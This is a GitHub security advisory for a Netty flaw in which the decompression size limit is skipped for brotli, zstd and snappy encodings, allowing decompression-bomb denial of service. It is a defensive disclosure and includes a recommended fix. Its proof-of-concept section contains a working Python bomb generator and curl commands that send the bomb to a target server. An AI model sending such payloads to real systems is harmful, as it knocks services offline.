GitHub Advisoryadvisory · Maven

GHSA-f6hv-jmp6-3vwv Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS

HIGH Published 2026-05-07 Modified 2026-05-14 Official page ↗
Aliases
CVE-2026-42587
Ecosystem
Maven
Packages
io.netty:netty-codec-http, io.netty:netty-codec-http2
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-400
Reviewed
2026-05-07

Affected packages

• Maven io.netty:netty-codec-http: >= 4.2.0.Alpha1, < 4.2.13.Final → fixed in 4.2.13.Final • Maven io.netty:netty-codec-http2: >= 4.2.0.Alpha1, < 4.2.13.Final → fixed in 4.2.13.Final • Maven io.netty:netty-codec-http: < 4.1.133.Final → fixed in 4.1.133.Final • Maven io.netty:netty-codec-http2: < 4.1.133.Final → fixed in 4.1.133.Final

Description

Summary `HttpContentDecompressor` accepts a `maxAllocation` parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via `ZlibDecoder`, but is silently ignored when the content encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the configured decompression limit by sending a compressed payload with `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 connections. Details `HttpContentDecompressor` stores the `maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to create the appropriate decompression handler. For gzip/deflate, `maxAllocation` is forwarded to `ZlibCodecFactory.newZlibDecoder()`: ```java // HttpContentDecompressor.java:101 — maxAllocation IS enforced .handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation)) ``` `ZlibDecoder.prepareDecompressBuffer()` enforces this as a hard cap by setting the buffer's `maxCapacity` and throwing `DecompressionException` when the limit is reached: ```java // ZlibDecoder.java:68 — hard limit on buffer capacity return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation); // ZlibDecoder.java:80 — throws when exceeded throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity()); ``` For brotli, zstd, and snappy, the decoders are created without any size limit: ```java // HttpContentDecompressor.java:120 — maxAllocation IGNORED .handlers(new BrotliDecoder()) // HttpContentDecompressor.java:129 — maxAllocation IGNORED .handlers(new SnappyFrameDecoder()) // HttpContentDecompressor.java:138 — maxAllocation IGNORED .handlers(new ZstdDecoder()) ``` `BrotliDecoder` has no `maxAllocation` parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via `fireChannelRead` with no total limit. `ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this only constrains individual buffer allocations, not total output. The decode loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` repeatedly, so total decompressed output is unbounded. The identical pattern exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 188-210 for HTTP/2. PoC 1. Configure a Netty HTTP server with decompression bomb protection: ```java pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max pipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max ``` 2. Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed): ```python import brotli bomb = b'\x00' * (1024 * 1024 * 1024) # 1GB of zeros compressed = brotli.compress(bomb, quality=11) with open('bomb.br', 'wb') as f: f.write(compressed) compressed size: ~1KB ``` 3. Send the bomb with gzip encoding (BLOCKED by maxAllocation): ```bash This is caught — ZlibDecoder enforces the 1MB limit curl -X POST http://target:8080/api \ -H 'Content-Encoding: gzip' \ --data-binary @bomb.gz Result: DecompressionException thrown at 1MB ``` 4. Send the same bomb with brotli encoding (BYPASSES maxAllocation): ```bash This bypasses the limit — BrotliDecoder has no maxAllocation curl -X POST http://target:8080/api \ -H 'Content-Encoding: br' \ --data-binary @bomb.br Result: Full 1GB decompressed into memory → OOM ``` 5. The same bypass works with `Content-Encoding: zstd` and `Content-Encoding: snappy`. Impact • Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on `maxAllocation` for decompression bomb protection, by simply using a non-gzip content encoding. • False sense of security: Developers who explicitly configure `maxAllocation` to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered. • Trivial bypass: The attacker only needs to change one HTTP header (`Content-Encoding: br` instead of `Content-Encoding: gzip`) to circumvent the protection entirely. • Both HTTP/1.1 and HTTP/2: The vulnerability exists in both `HttpContentDecompressor` (HTTP/1.1) and `DelegatingDecompressorFrameListener` (HTTP/2). Recommended Fix Pass `maxAllocation` to all decoder constructors. For `BrotliDecoder`, which currently has no `maxAllocation` support, add the parameter: HttpContentDecompressor.java — pass maxAllocation to all decoders: ```java // Line 120: BrotliDecoder — add maxAllocation support .handlers(new BrotliDecoder(maxAllocation)) // Line 129: SnappyFrameDecoder — add maxAllocation support .handlers(new SnappyFrameDecoder(maxAllocation)) // Line 138: ZstdDecoder — forward the configured maxAllocation .handlers(new ZstdDecoder(maxAllocation)) ``` DelegatingDecompressorFrameListener.java — same fix at lines 188-210. BrotliDecoder — add `maxAllocation` parameter with the same semantics as `ZlibDecoder.prepareDecompressBuffer()`: set buffer maxCapacity and throw `DecompressionException` when the total decompressed output exceeds the limit. SnappyFrameDecoder — add `maxAllocation` parameter with equivalent enforcement. ZstdDecoder — ensure that when `maxAllocation` is set, total output across all buffers is bounded (not just per-buffer allocation size).

Related

Alias · CVE (1)

  • CVE-2026-42587 Netty is an asynchronous, event-driven network application framework. vulnerability

Weakness · CWE (1)

  • CWE-400 Uncontrolled Resource Consumption weakness

References